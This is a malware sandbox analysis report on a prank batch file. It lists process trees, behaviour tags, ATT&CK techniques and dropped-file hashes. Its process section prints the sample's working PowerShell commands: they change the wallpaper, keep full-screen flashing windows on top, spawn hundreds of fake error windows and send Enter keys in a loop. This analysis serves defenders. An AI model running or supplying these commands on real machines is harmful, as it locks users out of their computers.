pid Process 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4236 StartMenuExperienceHost.exe 2660 SearchHost.exe 5620 explorer.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4384 wrote to memory of 968 4384 cmd.exe 91 PID 4384 wrote to memory of 3132 4384 cmd.exe 92 PID 4384 wrote to memory of 900 4384 cmd.exe 93 PID 900 wrote to memory of 5140 900 powershell.exe 94 PID 5140 wrote to memory of 4180 5140 csc.exe 95 PID 4384 wrote to memory of 564 4384 cmd.exe 96 PID 4384 wrote to memory of 3416 4384 cmd.exe 97 PID 4384 wrote to memory of 5728 4384 cmd.exe 98 PID 4384 wrote to memory of 5612 4384 cmd.exe 99 PID 4384 wrote to memory of 6064 4384 cmd.exe 100 PID 4384 wrote to memory of 4692 4384 cmd.exe 101 PID 4384 wrote to memory of 4796 4384 cmd.exe 103 PID 4384 wrote to memory of 4528 4384 cmd.exe 104 PID 5612 wrote to memory of 3316 5612 powershell.exe 108 PID 6036 wrote to memory of 5620 6036 sihost.exe 122 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tyviurs.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName PresentationFramework; if([System.Windows.MessageBox]::Show('Do you want to run?','Error 404','OKCancel','Warning') -ne 'OK'){exit}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:968
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C:\Windows\system32\timeout.exetimeout /t 10 /nobreak2⤵
- Delays execution with timeout.exe
PID:3132
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\",CharSet=CharSet.Auto)]public static extern int SystemParametersInfo(int u,int s,string p,int f);}'; [W]::SystemParametersInfo(20, 0, 'C:\Users\Admin\AppData\Local\Temp\taylor.jpg', 3)"2⤵
- Command and Scripting Interpreter: PowerShell
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nowhcwtf\nowhcwtf.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:5140 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB1B2.tmp" "c:\Users\Admin\AppData\Local\Temp\nowhcwtf\CSC384325FAA14A4CA788E3087E63CA21C.TMP"4⤵PID:4180
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C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\taylor.jpg" /f2⤵
- Sets desktop wallpaper using registry
PID:564
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C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f2⤵PID:3416
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C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True2⤵PID:5728
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetForegroundWindow(IntPtr h);public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $c=New-Object System.Windows.Forms.Timer; $c.Interval=120; $r=New-Object Random; $c.Add_Tick({$f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(2)*255,$r.Next(2)*255,$r.Next(2)*255)}); $c.Start(); [W]::SetForegroundWindow($f.Handle); $f.Show(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 50}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5612 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\53hcn3fg\53hcn3fg.cmdline"3⤵PID:3316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $f.TransparencyKey=[System.Drawing.Color]::Fuchsia; $f.BackColor=[System.Drawing.Color]::Fuchsia; $f.Add_Paint({ $g=$_.Graphics; $r=New-Object Random; $hue=$r.Next(360); $sw=$f.Width; $sh=$f.Height; for($i=0;$i -lt 300;$i++){ $col=[System.Drawing.Color]::FromArgb(180,([int](255*([math]::Abs([math]::Sin(($hue+$i)60)*3.14159/180)))56,([int](255*([math]::Sin((($hue+$i)*2)60)*3.14159/180)))56,([int](255*([math]::Cos((($hue+$i)*3)60)*3.14159/180)))56); $pen=New-Object System.Drawing.Pen($col,2); $g.DrawLine($pen,$r.Next($sw),$r.Next($sh),$r.Next($sw),$r.Next($sh)) }}); $t=New-Object System.Windows.Forms.Timer; $t.Interval=100; $t.Add_Tick({$f.Invalidate()}); $t.Start(); $f.Show(); $f.Activate(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 60}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6064
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $r=New-Object Random; $sw=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $sh=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; for($i=0;$i -lt 300;$i++){ $f=New-Object System.Windows.Forms.Form; $f.StartPosition='Manual'; $f.TopMost=$true; $f.Text='ERROR 404'; $f.Size=New-Object System.Drawing.Size(320,120); $f.Location=New-Object System.Drawing.Point($r.Next($sw-320),$r.Next($sh-120)); $l=New-Object System.Windows.Forms.Label; $l.Text='Error 404: PAGE NOT FOUND'; $l.Dock='Fill'; $l.BackColor=[System.Drawing.Color]::Black; $l.ForeColor=[System.Drawing.Color]::Red; $l.TextAlign='MiddleCenter'; $f.Controls.Add($l); $f.Show(); Start-Sleep -Milliseconds 120 }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4692
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; while($true){[System.Windows.Forms.SendKeys]::SendWait('{ENTER}'); Start-Sleep -Milliseconds 150}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4796
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" start "" /min powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework; $r=New-Object Random; $msgs=@('Error 404: PAGE NOT FOUND','Taylor has taken over','SYSTEM FAILURE','Access Denied','BAD BLOOD','You cannot escape','404 404 404'); while($true){[System.Windows.MessageBox]::Show($msgs[$r.Next($msgs.Count)],'ERROR 404','OK','Error')"2⤵PID:4528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4464
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C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:6036 -
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5620
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2660
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C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4236
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C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵PID:4344
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
- MD5 b65d38126d60f6776d0fee761697a8ab
- SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
- SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
- SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
- TLSH T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 575c8b8011cfc540a516c5dc0c230bfe7c080b05e2109a55d8efdf60554775e4
- MD5 fcce46181f6cad075cc9b4904653da44
- SHA1 6eb8fb4bfa05d85297101f2fb4353a53390189a0
- SHA512 ca3257c29f3f55ce7f57cbce0481e5ed43fd440cb30e22c219410e870c2b0ab420fca0acf971de7ed9b3d827b359c2bfcad4656a2d0a7a089eb7584455a3f9e4
- TLSH T198216873F3CC8216D88A403650CEAC1037B6D7DB40DECE5BAB85D649B43F599CEA05A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d1a8e44d3b8019d2656ea79997c61d18d54951291ed354848ea368fa947a0b64
- MD5 dcaf72e30b8632cfe939abc973626459
- SHA1 b4892cc4aef7dcedb6185dd90b5c42e46d13dcb7
- SHA512 f33b384aa4a49cbd0558ae521f3f72dfbf21248217d4a45b41eabc6bf5f73baea208e88633ed05b7f0c58cfb797b2c6a005a97b89118dccea9c536cb1212afbf
- TLSH T1ED21CA23F3CC8729CC9A403620CEAC1436B6C7E740DE8E57AB85D248B53F198DF61550
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
- MD5 836da308c17b18155d513895baff5404
- SHA1 548067c779da32edfafb48a6f14e086ed6dac113
- SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
- TLSH T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
- Size 599B
- SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
- MD5 658ab8c32d4cc5deb36ac5f63da4658b
- SHA1 30c12cd871ff0c2c4098d794e9ae4f2540586813
- SHA512 a73030c008ef3c2e274f11c90bfe79fa8ae402f76801c710bed8cc1ab1218a84858ea566b772be4bade8ef639a019c57d297028df15b64b3753482cf0f3c8f85
- TLSH T12AF05C83EB6A1B72C456123DC8EE56E47B31D1846EC11367A2107B1D3C2B7192D174BD
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RESB1B2.tmp
- Size 1KB
- SHA256 495c077d536ca4ab3972f22a5c71188cb56088971dde39393ab3c64b5afa33f5
- MD5 690cef4f38f5942c8a26916286d17805
- SHA1 fdfa8742cc8cc30b8358ffb2f90ea4492db44acf
- SHA512 098d8ddf1a940436beef4bf0189ed6edd033365fbcf9d6eff46c6602a2bfbec062990bc2d736eac2c02a66893d1d4b5f574d7cbc3de656db235e2469b87fc860
- TLSH T15A21CC0483F8471FF0730731A9F6672FA634FD98DFA2939A8444422C1C01504EFA0B72
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ahusnzlt.jvd.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nowhcwtf\nowhcwtf.dll
- Size 3KB
- SHA256 e8ebd15426832462a936ee216bf97998a08df06fe6b936d7e3c322b8535d1c5d
- MD5 91334bb69fee66d4da179ca1d932b280
- SHA1 736da9eb804f7c4aa36ac3b6bb26113cf108633b
- SHA512 1cda69066e53cd1e6cfd37a793b304a9c31be8e68634ee27b2344faad93b856a66506e9b26d774986e28e1325031187bcbc0a573eae3d931425d0becaa916087
- TLSH T10451CC16A3E8466BE4B707306EE3831737B8F8549FB697695980026D9C206245E32FB0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 6KB
- SHA256 4cac0914aabacb74abac7a70dc7d2fe43388cf5ec314af40918ffd294fb006e1
- MD5 e2713541b81de4cbe8382f279a18763a
- SHA1 e54143974e03cdd2c72b086be91ea9097d6343fa
- SHA512 0e8e6a6af41bd701d586a5cc72e16691e4d1ae7193cd7ce1362ef56ccdd0a81ddaa9a4693b0c6a88dcc9510427b87bcd5ca92d5a215284aaf278e789bd753f96
- SSDEEP 96:A2kYCyGgFukvhkvCCt68F1vCQHWuk1vCQHWuJ:AbCjc68F16zuk16zuJ
- TLSH T153D1CD1027F24719E5B78A7A6CB6F722E235FD41EF0B9BCF524465199C34610E838B2B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 6KB
- SHA256 ce5291d9ed2fee3c5d93e54224c1d36b4cc9a2d2c7d0ec973fe38de396cd6a6a
- MD5 10f314286b9231d81b234e887e20c6b3
- SHA1 829462ca8c1f4440c9409920e75b30ec93542ed8
- SHA512 8d90028ee81532fa385435d5df3b7c6db653aba661b43bae82da2be860efa8d8a3643d7718c51bd3b70b1f20b8cac77eb866ff02b1f6087ac5778323cd55abb5
- SSDEEP 96:ym2kYCyGgFukvhkvCCt68F1vCQHWuk1vCQHWuJ:ymbCjc68F16zuk16zuJ
- TLSH T1EAD1CD1027F24719E5B78A7A68B6F722E235FD41EF0B9BCF524465199C34610E838B2B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 6KB
- SHA256 cc61e9cbd3502cbe4d4dc471a7f852e2f6e06e52c9e1826c4a6f8e6c5b0e0330
- MD5 ea08debd1aa44cf214f1cd0d78e83349
- SHA1 57d7283c9b46901335ed596e44afb2d849bd5073
- SHA512 97c51197e8f2a20917a2e3ba6af77ebd33c01ec7b5a733c88cd4481a34a69b1f976459d6eeb82c2e16db06333d04faad69df00fad529aefa39205aa35f54072f
- SSDEEP 96:FmkkCl9NFukvhkvCCt68F1vuQHWuk1vCQHWuJ:FLRLc68F1mzuk16zuJ
- TLSH T151D1FD1027F60709E5BB8B7A6CB6B721E231FD40EF0B9BCF124461199C34610E838B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WLETG3NVWPCCNXFTO2EF.temp
- Size 6KB
- SHA256 abc0020c897bdadf5f540793cc6e7d2bd86c19479a5cb6a9057320142795bc8c
- MD5 8ab2869f514a6939e64ee5e3f82b5797
- SHA1 806d11852a2b3395c37f2556c158a183b66ef76f
- SHA512 075d97f0f6b97ae56a181c2a9a402017cc262a5762c033b10f61a8a2207d5793f4f9adaa9639188990ace8dbd5bc7077ca37517b98238a794cc1bca83c2f401b
- SSDEEP 96:r2kYCyGgFukvhkvCCt68F1vCQHWuk1vCQHWuJ:rbCjc68F16zuk16zuJ
- TLSH T142D1DD1027F24719E5B78A7A68B6F722E235FD41EF0B9BCF524465199C34610E838B2B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\53hcn3fg\53hcn3fg.0.cs
- Size 237B
- SHA256 e49545e7865b2d14e275ebe146b278e82fa68f4ba475162b42ce80acc1e44758
- MD5 8b58f52f654faa11a1703f8c435c938e
- SHA1 a3e185be0a4d5f7bac5a741ef0eed5931c2683b8
- SHA512 1c16a207e548b931f402dfb59d78c95b9d5bc735c586c96eedb9426e30fac19dac68ca7b5d80da74119050ed6e9734922e61ceb6979522513e16617553993961
- TLSH T140D0A7246712E5343413402B8C85E19FF727E12066F93A1196B84B07CD4F10A4132B69
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\53hcn3fg\53hcn3fg.cmdline
- Size 369B
- SHA256 fb1948613a9ca5d48a8818b1c9f9f7e72c4a591d517a9345bb89e44ea06b812b
- MD5 d40a5ecc5c04b5ddd998dd4847e7627c
- SHA1 40ef39514e0f5955178100f9545f08e0e68ec658
- SHA512 cae1e8ea79fc7b05278934d71e6c033727f0cafc3dfb8af1ad369bd6b28817be61f1b7592184493dba7778172d29c1b3ba938bc83bdf34de87ad5746a8302cde
- TLSH T19DE0C02A4256C67D29DD1007217DC4ACC27347CF2A403F88D0514C1DD62F04027F3B52
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\nowhcwtf\CSC384325FAA14A4CA788E3087E63CA21C.TMP
- Size 652B
- SHA256 20afc123611ce3edd4eab946e6d330aabea4a26f5c13de948cb345451d96e973
- MD5 761e6c61028886294ef03a9c2c2751fa
- SHA1 ce5b2780dc098e76eeb319f59d137e9cd0e800d0
- SHA512 c11c872eed7bfef0e6498cbebbfa0730205fc867218425d28df2ca8e93101ef33fc1c883c39b8c83efe49f341d094774f54c8d25cbb19e9aa9871fc9714c19a7
- TLSH T15FF05E09A3F8020EF0F34B30BDF65363A5A8BC64DE3293ED5484031D28649208A62FB2
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\nowhcwtf\nowhcwtf.0.cs
- Size 189B
- SHA256 8be5cd28c908eda183e4a865dfe8deec39c800a686b4fa79fbe56c3d0e37333f
- MD5 f38a4995b45cd1e93b4cc624345f1b79
- SHA1 13cbc729f9aca6dc49772518687f8efea299b184
- SHA512 e691f020d6ac42d2110af80e642b2092a0d0cbe0fbf5262be50a7d12f21905de7f0219d09006ae3ed2b53a69e149746da5274698696f3d9af0cd7a2081c8bb13
- TLSH T133C01224DB43DABD344344168C82D46B7737A62463E97901A5ED4601C94B90C6235B75
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\nowhcwtf\nowhcwtf.cmdline
- Size 369B
- SHA256 ed42d93a2cf786e64c17bcf14180924d2eee22218159bd4c19e22ae44dc30bb5
- MD5 c5cefeed2ae826e0cd622be2781da46a
- SHA1 c9dee8de0a3bbd39d20b721f8faa5cb655fd0937
- SHA512 0db3e462bdf2af7c6f8d6a7e6e331d279086b6c78bea877448369737718113f902392ebb95cc54b44beb92d85c4afde98eb1f6b034baac31413e428db94af376
- TLSH T1AFE0DF3A529AC67E16E9100B36BAC9EE83720BCB2AC17F859150845FE42B0047BD2795
- MD5 SHA1 SHA512 TLSH